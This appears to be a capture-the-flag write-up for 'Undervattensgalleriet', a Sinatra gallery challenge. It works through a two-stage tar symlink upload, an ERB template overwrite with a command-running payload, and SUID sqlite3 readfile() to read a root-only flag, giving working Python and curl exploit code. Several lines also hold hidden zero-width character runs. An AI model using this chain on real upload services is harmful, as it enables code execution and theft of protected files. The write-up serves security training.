← Back to Writeups
CUSTOMMediumWeb

Undervattensgalleriet

XESXOR9/10/20264 min read
#web#custom#medium#arbitrary_file_write#erb_template_overwrite#suid_sqlite3_readfile#two_stage_tar_symlink_attack#linux

Undervattensgalleriet

Platform: undutmaning | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: arbitrary_file_write, erb_template_overwrite, suid_sqlite3_readfile, two_stage_tar_symlink_attack

Summary

Task: Ruby/Sinatra photo gallery with tar file upload on Alpine Linux. Solution: Two-stage tar symlink attack to bypass BusyBox protections, overwrite ERB template, then use SUID sqlite3 readfile() to read root-owned flag.

Undervattensgalleriet — undutmaning CTF

Description

Det är få saker som oceanografer gillar så mycket som snygga bilder av fiskar i motljus! Även på havets botten finns tydligen behov av att dela med sig av fina bilder.

Forskaren och (aspirerande hemmakodaren) Göran Gädda har därför utvecklat en webbtjänst för att skapa snygga fotogallerier. Han verkar dock ha vibe-kodat och inte tänkt igenom alla säkerhetsaspekter.

Han delar gärna med sig av sin källkod. Kan du exfiltrera någon intressant information från Görans tjänst? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An underwater photo gallery web service built by a researcher who "vibe-coded" without thinking through security. Ruby/Sinatra application running on Alpine Linux with source code provided. Goal is to exfiltrate interesting information (flag.txt owned by root with 600 permissions).

Analysis

Application Structure

The app is a Ruby Sinatra web application running on Alpine Linux (BusyBox). Key Dockerfile observations:

dockerfile
FROM ruby:4.0.1-alpine3.22
RUN chmod u+s /usr/bin/sqlite3 /bin/cat
RUN chown root:root flag.txt && chmod 600 flag.txt
USER web

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • /usr/bin/sqlite3 has SUID root (real binary, not busybox symlink)
  • /bin/cat is a busybox symlink (SUID has no effect)
  • flag.txt at /srv/flag.txt is owned by root:root with 600 permissions
  • App runs as user web who owns /srv and all app files

Vulnerable Code

The gallery creation extracts user-uploaded tar files directly:

ruby
def mkgallery(path = rand(36**8).to_s(36))
  d = "#{settings.root}/public/#{path}"
  Dir.mkdir(d) unless File.exist?(d)
  system("tar x -C #{d} -f #{params[:file][:tempfile].path}")
  return path
end

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical vulnerability: The PUT endpoint re-extracts into the same gallery directory:

ruby
put "/galleries/:path" do |path|
  g = GALLERIES.where(path: path, user_id: session[:user]).first or halt 404
  mkgallery(g[:path])  # Re-extracts to existing directory!
  # ...
end

BusyBox Tar Security Measures

BusyBox tar has protections:

  1. Strips ../ from paths (prevents simple path traversal)
  2. Refuses to create symlinks to absolute paths when extracting files through them in the same operation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

However, these protections can be bypassed with a two-stage attack using separate uploads.

Solution

Step 1: Create Symlink (Stage 1)

First upload creates a symlink pointing to /srv:

python
import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
    info = tarfile.TarInfo(name='srv')
    info.type = tarfile.SYMTYPE
    info.linkname = '/srv'
    tar.addfile(info)
    
    # Add dummy file so gallery has content
    dummy = tarfile.TarInfo(name='dummy.jpg')
    dummy.size = 5
    tar.addfile(dummy, io.BytesIO(b'dummy'))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with open('symlink_only.tar', 'wb') as f:
    f.write(tar_buffer.getvalue())

Upload via POST /galleries. This creates public/<gallery_path>/srv → /srv.

Step 2: Write Through Symlink (Stage 2)

Second upload writes malicious ERB template through the existing symlink:

python
import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
    content = b"""<pre>
flag: <%= `/usr/bin/sqlite3 :memory: "SELECT readfile('/srv/flag.txt');"` %>
</pre>"""
    info = tarfile.TarInfo(name='srv/views/gallery.erb')
    info.size = len(content)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(content))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with open('sqlite_fixed.tar', 'wb') as f:
    f.write(tar_buffer.getvalue())

Upload via PUT /galleries/:path (same gallery). BusyBox tar sees srv/ as an existing directory (actually a symlink from Stage 1), follows it, and writes views/gallery.erb to /srv/views/gallery.erb, overwriting the real template.

Step 3: SUID sqlite3 Privilege Escalation

The malicious ERB template uses sqlite3's readfile() function to read the flag as root:

erb
<%= `/usr/bin/sqlite3 :memory: "SELECT readfile('/srv/flag.txt');"` %>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This works because:

  • /usr/bin/sqlite3 has SUID root
  • readfile() is a built-in sqlite3 function that reads files
  • The process runs as root due to SUID, bypassing file permissions

Step 4: Trigger Exploit

Visit GET /galleries/:path — the overwritten gallery.erb template executes, sqlite3 runs as root via SUID, reads flag.txt, and outputs the flag in the HTTP response.

Full Exploit Flow

bash
# 1. Register/login to get session
curl -c cookies.txt -X POST "$URL/register" -d "username=test&password=test"
curl -b cookies.txt -c cookies.txt -X POST "$URL/login" -d "username=test&password=test"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. Stage 1: Create gallery with symlink
curl -b cookies.txt -X POST "$URL/galleries" -F "title=test" -F "file=@symlink_only.tar"
# Note the gallery path from redirect

# 3. Stage 2: Overwrite template via PUT
curl -b cookies.txt -X PUT "$URL/galleries/$GALLERY_PATH" -F "file=@sqlite_fixed.tar"

# 4. Trigger and get flag
curl -b cookies.txt "$URL/galleries/$GALLERY_PATH"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍